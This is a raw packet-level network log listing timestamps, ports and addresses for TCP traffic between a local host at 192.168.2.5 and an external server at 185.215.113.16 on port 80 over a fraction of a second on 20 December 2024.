Dec 20, 2024 02:11:10.940769911 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.940821886 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.942095995 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.942168951 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.942203999 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.942255020 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.943423986 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.943494081 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.943526983 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.943581104 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.944813013 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.944878101 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.945411921 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.945480108 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.946187973 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.946242094 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.946268082 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.946312904 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.947666883 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.947729111 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.947755098 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.947807074 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.948951006 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.949019909 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.949057102 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.949126959 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.950321913 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.950382948 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.950417042 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.950473070 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.951736927 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.951800108 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.951900959 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.951958895 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.953095913 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.953157902 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.953160048 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.953226089 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.954504967 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.954581976 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.954610109 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.954658031 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.955820084 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.955899000 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.955955982 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.956012964 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.957148075 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.957214117 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.957350969 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.957406998 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.958575964 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.958637953 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.958655119 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.958705902 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.959939003 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.960021973 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.960027933 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.960098982 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.961291075 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.961332083 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.961352110 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.961380959 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.962646961 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.962713003 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.962753057 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.962807894 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.964041948 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.964098930 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.964138031 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.964204073 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.965421915 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.965478897 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.965552092 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.965614080 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.967231989 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.967295885 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.967581987 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.967659950 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.968180895 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.968246937 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.968342066 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.968403101 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.969530106 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.969593048 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.969628096 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.969685078 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.971036911 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.971092939 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.971132994 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.971184969 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.972285986 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.972342014 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.972392082 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.972441912 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.973637104 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.973691940 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.973757982 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.973810911 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.975070953 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.975131035 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.975177050 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.975225925 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.976398945 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.976454020 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.976489067 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.976536989 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.977770090 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.977838039 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.977883101 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.977955103 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.095115900 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.095179081 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.095184088 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.095240116 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.095542908 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.095592976 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.095666885 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.095717907 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.096579075 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.096633911 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.096707106 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.096754074 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.097616911 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.097677946 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.097712040 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.097764969 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.098702908 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.098757982 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.098859072 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.098912954 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.099798918 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.099848032 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.099884033 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.099935055 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.100781918 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.100833893 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.100930929 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.100985050 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.101850986 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.101901054 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.101962090 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.102010012 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.102861881 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.102919102 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.102957010 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.103018045 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.103894949 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.103950024 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.104010105 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.104059935 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.104967117 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.105016947 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.105030060 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.105081081 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.105978966 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.106034040 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.106111050 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.106174946 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.106992006 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.107043028 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.107083082 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.107136965 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.108058929 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.108129025 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.108164072 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.108223915 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.109065056 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.109124899 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.109138966 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.109190941 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.110234022 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.110249043 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.110311985 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.110311985 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.111187935 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.111274958 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.111329079 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.111377954 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.112200022 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.112282038 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.112282991 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.112334967 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.113223076 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.113276005 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.113331079 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.113384962 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.114274979 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.114326954 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.114367008 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.114419937 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.115324020 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.115381002 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.115446091 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.115498066 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.116344929 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.116396904 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.116436958 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.116487980 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.117361069 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.117404938 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.117482901 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.117530107 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.118432045 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.118498087 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.118534088 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.118578911 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.119457960 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.119507074 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.119581938 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.119633913 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.120544910 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.120594978 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.120595932 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.120644093 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.121541023 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.121598959 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.121643066 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.121690989 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.122569084 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.122632980 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.122668982 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.122729063 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.123620033 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.123661995 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.123677969 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.123727083 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.124648094 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.124706030 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.124739885 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.124797106 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.125715017 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.125767946 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.125807047 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.125865936 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.126759052 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.126815081 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.126882076 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.126936913 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.127743959 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.127799988 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.127887011 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.127955914 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.128782988 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.128837109 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.128894091 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.128951073 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.129843950 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.129899025 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.130043030 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.130098104 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.130913019 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.130970955 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.131000042 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.131052971 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.131906033 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.131984949 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.132019997 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.132077932 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.132926941 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.132982016 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.133025885 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.133080959 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.133964062 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.134016991 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.134057999 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.134118080 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.134991884 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.135049105 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.135104895 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.135154963 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.136074066 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.136126995 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.136174917 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.136224985 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.137085915 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.137140989 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.137176991 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.137232065 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.138134956 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.138195992 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.138223886 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.138339043 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.139157057 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.139216900 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.139266014 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.139328957 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.140202045 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.140274048 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.140279055 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.140480042 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.141268015 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.141320944 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.141343117 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.141391039 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.142267942 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.142357111 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.142379999 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.142436981 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.143306971 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.143366098 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.143402100 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.143452883 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.144346952 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.144409895 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.144444942 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.144488096 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.145406008 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.145457983 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.145520926 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.145584106 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.146414042 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.146467924 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.146548986 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.146598101 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.147479057 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.147531986 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.147578001 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.147625923 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.148524046 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.148627996 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.148665905 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.148695946 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.149481058 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.149533033 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.287213087 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.287245989 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.287348032 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.287630081 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.287693977 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.287704945 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.287759066 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.288644075 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.288697004 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.288794994 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.288886070 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.289719105 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.289772987 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.289808989 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:11.289860964 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:11.290713072 CET	80	49831	185.215.113.16	192.168.2.5
